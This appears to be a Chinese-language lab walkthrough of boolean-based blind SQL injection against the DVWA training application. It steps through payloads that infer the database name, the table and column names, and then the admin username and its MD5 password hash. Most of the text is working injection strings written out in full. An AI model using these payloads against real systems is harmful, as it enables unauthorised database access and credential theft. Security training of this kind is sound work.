1.找到注入点
1' or 1=1 #--
2.爆出数据库名称长度
xxx' or length(database())<100#--
这个数据库名称小于100,我们一直拆解下去就行了(dvwa)
小于5有显示 ,小于4且没有显示。说明小于5不大于4.于是推出数据库名字等于4
xxx' or length(database())<5#--xxx' or length(database())<4#--
3.爆出数据库名字
已知条件(数据库名字长度4)。求数据库名称
xxx' or substr(database(),1,1)='d'#--
substr(1,2,3,)
1参数 一串字符
2从第几个开始
3.一次取几个
如:substr(abcd,1,2) abcd中从第一开始取两个,就是ab
xxx' or substr(database(),1,1)='d'#--
xxx' or substr(database(),1,2)='dv'#--
xxx' or substr(database(),1,3)='dvw'#--
xxx' or substr(database(),1,4)='dvwa'#--
爆出数据库名字 dvwa
4.查看库中有几个表
a. 查看表: select table_name from information_schema.tables where table_schema='dvwa'
如果这样查询会显示dvwa下面的所有表。
我们先看看这个库中表的数量有多少
b. select count(table_name) from information_schema.tables where table_schema='dvwa'
把b的语句用括号括起来当做一个整体,如果我们猜测这个dvwa数据库有100个表那么就该表示为:
100>(select count(table_name) from information_schema.tables where table_schema='dvwa')
最总语句为:
xxx' or 100>(select count(table_name) from information_schema.tables where table_schema='dvwa')#--
有显示,说明dvwa中的表数量小于100
xxx' or 2>(select count(table_name) from information_schema.tables where table_schema='dvwa')#--2>表数量 无显示
3>表示量 有显示
说明小于3 不小于2,那就等于2
查出dvwa数据库下面有两个表
5.查看数据库下面的表名长度
已知条件(数据库dvwa 有2个表) 求两个表的表名
A. select table_name from information_schema.tables where table_schema='dvwa' #--
如果有两个表就会一起查询出来。我们现在只要知道第一个表的名称长度就行
limit函数
limit 0,1, 从表中的第0个数据开始,只读取一个
如果A语句查询出来aaa表和bbb表,那么用这个函数就只会显示第一个表也就是aaa表
B.select table_name from information_schema.tables where table_schema='dvwa' limit 0,1 #--
现在B语句最终显示的是aaa表,我们就用length()函数获取他的表长度.
C. length( (B语句) )<10 #-- 因为这里B是一个整体所以要用()括起来
最总语句:
xxx' or length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) <10#--
第一个表长度小于10
最后小于10有回显,小于9.没有回显。得出等于9 。
dvwa的第一个表名称等于9 。
要想判断第二个只需要修改 【limit 0 ,1】 改为 【limit 1,1】
xxx' or length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)) =5#--
最后得出dvwa的两个表长度分别为 9 和 5
6.查看数据库下的表名名称
已知条件(数据库dvwa 、 两个表长度为9,5)
搜索表的方式:
(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)
这是第二个表因为参数(limit 1,1) 我们用 substr(表名,1,1) 来获取表名(5个字符)
xxx' or substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='u'#--
由于时间问题,每次猜的字符我都是选择正确的来猜解
有回显,证明第二个表是5个字符,并且第一个是u
xxx' or substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,2)='us'#-- (第二个)xxx' or substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,3)='use'#-- (第三个)xxx' or substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,4)='user'#-- (第四个)xxx' or substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,5)='users'#-- (第五个)
最终得知:第一个表和第二个表的名称
7.获取users表下的字段数量
A. select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'
把A当作一个整体最后就是统计出 users下载的字段数量。
xxx' or 7=(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' ) #--
简单来看就是: xxx' or 7=(6)#--
由于7不等于6所以没有回显,当xxx' or 6=(6)#-- 就有回显
得出users表下面有6个字段
8.获取每个字段的长度
猜第一个字段 得出长7
xxx' or length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1))=7#--
猜第二个字段 得出长10
xxx' or length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1))=10#--
猜第三个字段 得出长9
xxx' or length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1))=9#--
猜第四个字段 得出长4
xxx' or length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1))=4#--
猜第五个字段 得出长8
xxx' or length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1))=8#--
猜第六个字段 得出长6
xxx' or length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1))=6#--
9.获取users表里面6个字段的值
已知条件(库dvwa 表users 字段6个而且还知道多少字节)
xxx' or substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,1)='u'#--
简化就是 xxx' or substr( (字段), 1,1)='u' #--
这里我们获取第4个字段的值,由于是0开始的所以【limit3,1】 就是user
users表下面的第3个字段的第一个字是 u
xxx' or substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,1)='u'#--
users表下面的第3个字段的第二个字是 us
xxx' or substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,2)='us'#--
users表下面的第3个字段的第三个字是 use
xxx' or substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,3)='use'#--
users表下面的第3个字段的第四个字是 user
xxx' or substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,4)='user'#--
然后猜其它的字段名............
10.获取字段里面的数据
获取users表里面user字段和password字段的值
猜解user有多少条数据
xxx' or 5=(select count(user) from dvwa.users)#--
通过这条语句得出user下面有5条数据
猜解user的值长度
xxx' or length((select user from dvwa.users limit 0,1 ))=5#-- (第一条数据长度为5)
xxx' or length((select user from dvwa.users limit 1,1 ))=7#-- (第二条数据长度为7)
xxx' or length((select user from dvwa.users limit 2,1 ))=4#-- (第三条数据长度为4)
xxx' or length((select user from dvwa.users limit 3,1 ))=5#-- (第四条数据长度为5)
xxx' or length((select user from dvwa.users limit 4,1 ))=6#-- (第五条数据长度为6)
猜解user第一条数据的值
xxx' or substr((select user from dvwa.users limit 0,1),1,1)='a'#--
xxx' or substr((select user from dvwa.users limit 0,1),1,2)='ad'#--
xxx' or substr((select user from dvwa.users limit 0,1),1,3)='adm'#--
xxx' or substr((select user from dvwa.users limit 0,1),1,4)='admi'#--
xxx' or substr((select user from dvwa.users limit 0,1),1,5)='admin'#--
最后得出数据:dvwa库----users表-----user字段数据---admin
获取password字段数据
获取password数据有多少条
xxx' or 5=(select count(password) from dvwa.users)#--
猜解password的值长度
xxx' or length((select password from dvwa.users limit 0,1 ))=32#--
(这里密码有32位,有理由怀疑是MD5加密)
猜解password第一条数据的值
xxx' or substr((select password from dvwa.users limit 0,1),1,1)='5'#--
xxx' or substr((select password from dvwa.users limit 0,1),1,2)='5f'#--
xxx' or substr((select password from dvwa.users limit 0,1),1,3)='5f4'#--
。。。。。一直到32
xxx' or substr((select password from dvwa.users limit 0,1),1,32)='5f4dcc3b5aa765d61d8327deb882cf99'#--
最后获取到账号密码
admin || 5f4dcc3b5aa765d61d8327deb882cf99